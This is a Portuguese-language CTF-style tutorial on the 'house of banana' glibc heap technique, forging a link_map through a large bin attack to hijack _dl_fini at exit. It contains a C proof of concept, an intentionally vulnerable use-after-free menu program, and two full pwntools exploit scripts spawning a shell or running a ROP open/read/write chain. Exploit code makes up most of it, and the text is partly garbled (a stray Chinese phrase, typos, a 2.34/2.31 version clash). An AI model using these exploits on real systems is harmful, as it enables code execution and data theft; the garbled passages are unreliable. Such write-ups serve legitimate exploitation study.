Versões aplicáveis: 2.23 até a mais recente 2.36 (nas versões 2.27 e abaixo não é possível realizar operações de leitura, escrita e execução (orw), mas nas versões superiores é possível, pois apenas a partir da versão 2.27 é possível controlar o rdx e utilizar setcontext para realizar orw)
Condições de exploração:
- Possibilidade de escrever um endereço de heap em qualquer endereço (geralmente utilizando ataque de large bin)
- Capacidade de retornar da função main ou chamar a função exit
- Possibilidade de vazar endereços da libc e da heap
Princípio da Vulnerabilidade
O código fonte é extenso, aqui apresento apenas as partes principais:
void
_dl_fini (void) //casa do banana
{
for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
{
...
for (i = 0; i < nmaps; ++i) //percorrendo a lista link_map
{
...
if (l->l_init_called) //ponto de verificação importante
{
l->l_init_called = 0;
if (l->l_info[DT_FINI_ARRAY] != NULL //26
|| (ELF_INITFINI && l->l_info[DT_FINI] != NULL)) //13 que geralmente é satisfeito
{
if (l->l_info[DT_FINI_ARRAY] != NULL) //26
{
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) (); //posição alvo
}
}
}
O código 'l' é uma estrutura link_map
A estrutura link_map é uma estrutura de dados usada no Linux para vinculação dinâmica, responsável por armazenar as relações de dependência entre bibliotecas de objetos compartilhados e informações de tabela de símbolos. Cada objeto compartilhado possui uma estrutura link_map, e essas estruturas formam uma lista encadeada que descreev as relações de dependência entre todas as bibliotecas de objetos compartilhados.
A estrutura link_map é definida no arquivo de cabeçalho /usr/include/link.h e seus membros principais incluem:
l_next: ponteiro para a próxima estruturalink_mapda biblioteca de objetos compartilhados.l_real: ponteiro para o próprio endereçoinfo[x]: é um ponteiro para o tipoElfW(Dyn), usado para armazenar informações dinâmicas da biblioteca de objetos compartilhados.
_rtld_global é uma variável global no Linux usada para vinculação dinâmica. É um ponteiro para a estrutura struct link_map e representa as relações de dependência entre todas as bibliotecas de objetos compartilhados do processo atual.
Essa variável global é definida no vinculador dinâmico ld.so e seu papel é registrar o ponteiro principal da lista encadeada das estruturas link_map de todas as bibliotecas de objetos compartilhadas carregadas pelo vinculador dinâmico durante a inicialização do processo.
Durante o processo de vinculação dinâmica, quando é necessário encontrar informações de tabela de símbolos, o vinculador dinâmico pode acessar a lista link_map apontada por _rtld_global, percorrendo todas as bibliotecas de objetos compartilhados carregadas para localizar as informações de tabela de símbolos necessárias.
Em outras palavras, precisamos usar o ataque de large bin para modificar _rtld_global para nossa estrutura link_map forjada.
Análise de Código Importante
A partir do código acima, podemos ver que precisamos controlar o valor de 'i' do array para poder sequestrar o fluxo de execução.
Controlando o valor do array
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
Na verdade, é:
*array = (l->l_addr+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr); DT_FINI_ARRAY é 26, geralmente colocamos l_addr como zero e o deslocamento de d_un.d_ptr é 8
Isso significa que escrevemos o endereço de l_info[26] em l_info[26], e o valor de array será o valor armazenado em l_info[27].
Controlando o valor de i
i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val/ sizeof (ElfW(Addr))); DT_FINI_ARRAYSZ é 28
Isso significa que escrevemos o endereço de l_info[28] em l_info[28], e o valor de i será o valor armazenado em l_info[29] dividido por 8.
Verificações a Serem Contornadas
- Restaurar o valor original do campo
l_next, assim oslink_mapposteriores não precisam ser forjados. (Durante a iteração, são necessários três ou maislink_mapestruturas) - Alterar o campo
l_realpara o endereço dolink_mapforjado, para satisfazerif (l == l->l_real)e garantir que não acioneassert - Definir o valor de
l_info[26]como não nulo, para satisfazerif (l->l_info[DT_FINI_ARRAY] != NULL) - Definir o valor de
l->l_info[26]como o endereço del->l_info[26], então o valor eml->l_info[27]será oarray - Definir o valor de
l->l_info[28]como o endereço del->l_info[28], então o valor eml->l_info[29]dividido por 8 será o valor final dei
Prova de Conceito
//gcc poc.c -o poc -w -g
//ubuntu 18.04 GLIBC 2.27-3ubuntu1.6
#include <stdio.h>
#include <stdlib.h>
#define rtld_global_dl_ns 0x61b060
#define one_gadget 0x4f302
int main (void)
{
setvbuf(stdout, 0, 2, 0);
long long int libc_base=&printf-0x64e40;
printf("base da libc %llx\n",libc_base);
size_t *p=malloc(0x400);
p[3]=libc_base+0x61c710;//l_next
p[5]=p;//l_real também é o endereço do link_map forjado
p[34]=&p[34];//l->l_info[26] DT_FINI_ARRAY
p[35]=&p[38];//l->l_info[DT_FINI_ARRAY]->d_un.d_ptr
p[36]=&p[36];//l->l_info[DT_FINI_ARRAYSZ]
p[37]=0x8;//i=l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
p[38]=libc_base+one_gadget;//chama array[i]
p[0x62]=0x800000000;//faz l->l_init_called ser 1
*(size_t *)(rtld_global_dl_ns+libc_base)=p;//sequestra _rtld_global_ns_loaded objetivo forjar link_map
return 0;
}
Desafio
Usou diretamente o problema criado pelo mestre Zikh, escrito com duas versões diferentes da libc.
A versão 2.27 usou one_gadget (porque não é possível controlar os registradores)
A versão 2.31 usou orw (problemas de versão superior geralmente têm sandbox ativado)
Análise do Programa
É um problema de menu com adicionar, excluir, mostrar e editar.
Vulnerabilidade
No delete, há uma vulnerabilidade de UAF (Use After Free).
Código Fonte
//gcc test.c -o test -w -g
//ubuntu 18.04 GLIBC 2.27-3ubuntu1.6
#include<stdio.h>
#include <unistd.h>
#define num 10
void *chunk_list[num];
int chunk_size[num];
void init()
{
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
}
void menu()
{
puts("1.adicionar");
puts("2.editar");
puts("3.mostrar");
puts("4.excluir");
puts("5.sair");
puts("Sua escolha:");
}
int add()
{
int index,size;
puts("índice:");
scanf("%d",&index);
if(index<0 || index>=num)
exit(1);
puts("Tamanho:");
scanf("%d",&size);
if(size<0x80||size>0x500)
exit(1);
chunk_list[index] = calloc(size,1);
chunk_size[index] = size;
}
int edit()
{
int index;
puts("índice:");
scanf("%d",&index);
if(index<0 || index>=num)
exit(1);
puts("contexto: ");
read(0,chunk_list[index],chunk_size[index]);
}
int delete()
{
int index;
puts("índice:");
scanf("%d",&index);
if(index<0 || index>=num)
exit(1);
free(chunk_list[index]);
}
int show()
{
int index;
puts("índice:");
scanf("%d",&index);
if(index<0 || index>=num)
exit(1);
puts("contexto: ");
puts(chunk_list[index]);
}
int main()
{
int choice;
init();
while(1){
menu();
scanf("%d",&choice);
if(choice==5){
exit(0);
}
else if(choice==1){
add();
}
else if(choice==2){
show();
}
else if(choice==3){
edit();
}
else if(choice==4){
delete();
}
}
}
Usando one_gadget para explorar
- Como não há limites no número de vezes que show e edit podem ser usados, combinado com uma vulnerabilidade UAF, primeiro vazamos o endereço da libc e o endereço da heap.
- Usar ataque de large bin para substituir o nó principal do link_map (_rtld_global) pelo endereço do link_map forjado.
- Entrar na função exit para obter shell.
Isso é relativamente simples, basta forjar uma estrutura link_map. O que需要注意 é encontrar corretamente a posição de i_info[26].
Além disso, o membro circulado em vermelho na figura abaixo ocupa apenas um byte. Para tornar l_init_called igual a 1, precisamos inserir p64(0x800000000) (pode haver outras maneiras).
Usando orw para explorar
Compara com o acima, apenas adiciona o uso de setcontext para executar orw. Abaixo explico alguns detalhes.
A dificuldade aqui é combinar setcontext para migrar a pilha e executar um orw.
É necessário notar que não podemos controlar diretamente o fluxo de execução para setcontext, pois o rdx neste momento é 2, e na atribuição do setcontext mostrada abaixo, o rdx precisa ser um andereço válido.
O que precisamos fazer?
Executar um ret, porque você descobrirá que há uma instrução logo após o call que pode controlar o rdx para um endereço válido (esta é também uma das razões pelas quais versões superiores a 2.27 podem executar orw).
Em seguida, executar a instrução em stecontext+61 (por que podemos executar duas chamadas, porque é um loop while, ele executa quantas vezes o valor de i).
Precisamos usar setcontext para controlar rsp, rcx (por que rcx? Porque na instrução setcontext há uma instrução push rcx, para não interromper o fluxo de execução, precisamos preencher rcx com a instrução ret, combinada com rsp para transferir o fluxo de execução para orw).
Exploits
Versão 2.27 usando one_gadget
from tools import*
p,e,libc=load('poc')
context(os='linux', arch='amd64', log_level='debug')
add_pri=0xCFF
show_pri=0xD13
edit_pri=0xD27
delete_pri=0xD3B
def add(index,size):
p.sendlineafter('Sua escolha:','1')
p.sendlineafter("índice:\n",str(index))
p.sendlineafter("Tamanho:",str(size))
def show(index):
p.sendlineafter('Sua escolha:','2')
p.sendlineafter("índice:\n",str(index))
def edit(index,content):
p.sendlineafter('Sua escolha:','3')
p.sendlineafter("índice:\n",str(index))
p.sendafter("contexto: \n",content)
def delete(index):
p.sendlineafter('Sua escolha:','4')
p.sendlineafter("índice:\n",str(index))
def exit():
p.sendlineafter('Sua escolha:','5')
add(0,0x420)
add(1,0x500)
add(2,0x418)
delete(0)
add(3,0x500)
show(0)
a=p.recv(10)
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x3ec090
log_addr('base_da_libc')
edit(0,'a'*0x10)
show(0)
p.recvuntil('a'*0x10)
leak_heap=u64(p.recv(6).ljust(8,b'\x00'))
log_addr('endereço_heap')
# ataque large bin
# &_rtld_global
rtld_global=libc_base+0x61b060
l_next=libc_base+0x61c710
one_gadget=search_og(0)
edit(0,b'a'*0x18+p64(rtld_global-0x20))
delete(2)
debug(p,'pie',add_pri,delete_pri,edit_pri)
add(4,0x500)
link_map=p64(0)
link_map+=p64(l_next) #l_next
link_map+=p64(0)
link_map+=p64(leak_heap+0x940) #l_real
link_map+=p64(0)*28
link_map+=p64(leak_heap+0xa50) #l->info[26]
link_map+=p64(leak_heap+0xa70) #27
link_map+=p64(leak_heap+0xa60) #28
link_map+=p64(0x8) #29
link_map+=p64(libc_base+one_gadget)
link_map+=p64(0)*59
link_map+=p64(0x800000000)
edit(2,link_map)
exit()
#
p.interactive()
Versão 2.34 usando orw (versão 2.31-0ubuntu9.7_amd64)
from tools import*
p,e,libc=load('poc')
context(os='linux', arch='amd64', log_level='debug')
add_pri=0xCFF
show_pri=0xD13
edit_pri=0xD27
delete_pri=0xD3B
def add(index,size):
p.sendlineafter('Sua escolha:','1')
p.sendlineafter("índice:\n",str(index))
p.sendlineafter("Tamanho:",str(size))
def show(index):
p.sendlineafter('Sua escolha:','2')
p.sendlineafter("índice:\n",str(index))
def edit(index,content):
p.sendlineafter('Sua escolha:','3')
p.sendlineafter("índice:\n",str(index))
p.sendafter("contexto: \n",content)
def delete(index):
p.sendlineafter('Sua escolha:','4')
p.sendlineafter("índice:\n",str(index))
def exit():
p.sendlineafter('Sua escolha:','5')
add(0,0x420)
add(1,0x500)
add(2,0x418)
delete(0)
add(3,0x500)
show(0)
a=p.recv(10)
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x3ec090+0x1ff0c0
log_addr('base_da_libc')
edit(0,'a'*0x10)
show(0)
p.recvuntil('a'*0x10)
leak_heap=u64(p.recv(6).ljust(8,b'\x00'))
log_addr('endereço_heap')
# ataque large bin
# &_rtld_global
# rtld_global=libc_base+0x61b060
# l_next=libc_base+0x61c710
pop_rdi=libc_base+0x0000000000023b72
pop_rsi=libc_base+0x000000000002604f
pop_rdx_r12=libc_base+0x0000000000119241
open=libc.symbols['open']+libc_base
read=libc.symbols['read']+libc_base
write=libc.symbols['write']+libc_base
rtld_global=libc_base+0x222060
l_next=libc_base+0x223740
setcontext=libc_base+0x54f8d
one_gadget=search_og(0)
pop_rsp_ret=libc_base+0x000000000002f73a
ret=libc_base+0x0000000000040ff8
edit(0,b'a'*0x18+p64(rtld_global-0x20))
delete(2)
debug(p,'pie',add_pri,delete_pri,edit_pri)
add(4,0x500)
link_map=p64(0)
link_map+=p64(l_next) #l_next
link_map+=p64(0)
link_map+=p64(leak_heap+0x940) #l_real
link_map+=p64(0)*28
link_map+=p64(leak_heap+0xa50) #l->info[26]
link_map+=p64(leak_heap+0xa70) #27
link_map+=p64(leak_heap+0xa60) #28
link_map+=p64(0x10) #29
link_map+=p64(setcontext) #0
link_map+=p64(ret) #1
link_map+=p64(0)*13
link_map+=p64(leak_heap+0x200)#rsi
link_map+=b'flag\x00\x00\x00\x00'
link_map+=p64(0) #rbx 0x80
link_map+=p64(0x100)
link_map+=p64(0)*2
link_map+=p64(leak_heap+0xc60) #rsp
link_map+=p64(ret) #rcx
link_map+=p64(0)*38
link_map+=p64(0x800000000)
#abrir
rop=p64(pop_rdi)+p64(leak_heap+0xaf0)
rop+=p64(pop_rsi)+p64(0)
rop+=p64(open)
#ler
rop+=p64(pop_rdi)+p64(3)
rop+=p64(pop_rsi)+p64(leak_heap+0x100)
rop+=p64(pop_rdx_r12)+p64(0x50)+p64(0)
rop+=p64(read)
#escrever
rop+=p64(pop_rdi)+p64(1)
rop+=p64(pop_rsi)+p64(leak_heap+0x100)
rop+=p64(pop_rdx_r12)+p64(0x50)+p64(0)
rop+=p64(write)
edit(2,link_map+rop)
exit()
# #
# pause()
# p.send(rop)
p.interactive()
# 0x205f58 rdx=endereço_heap+0xa70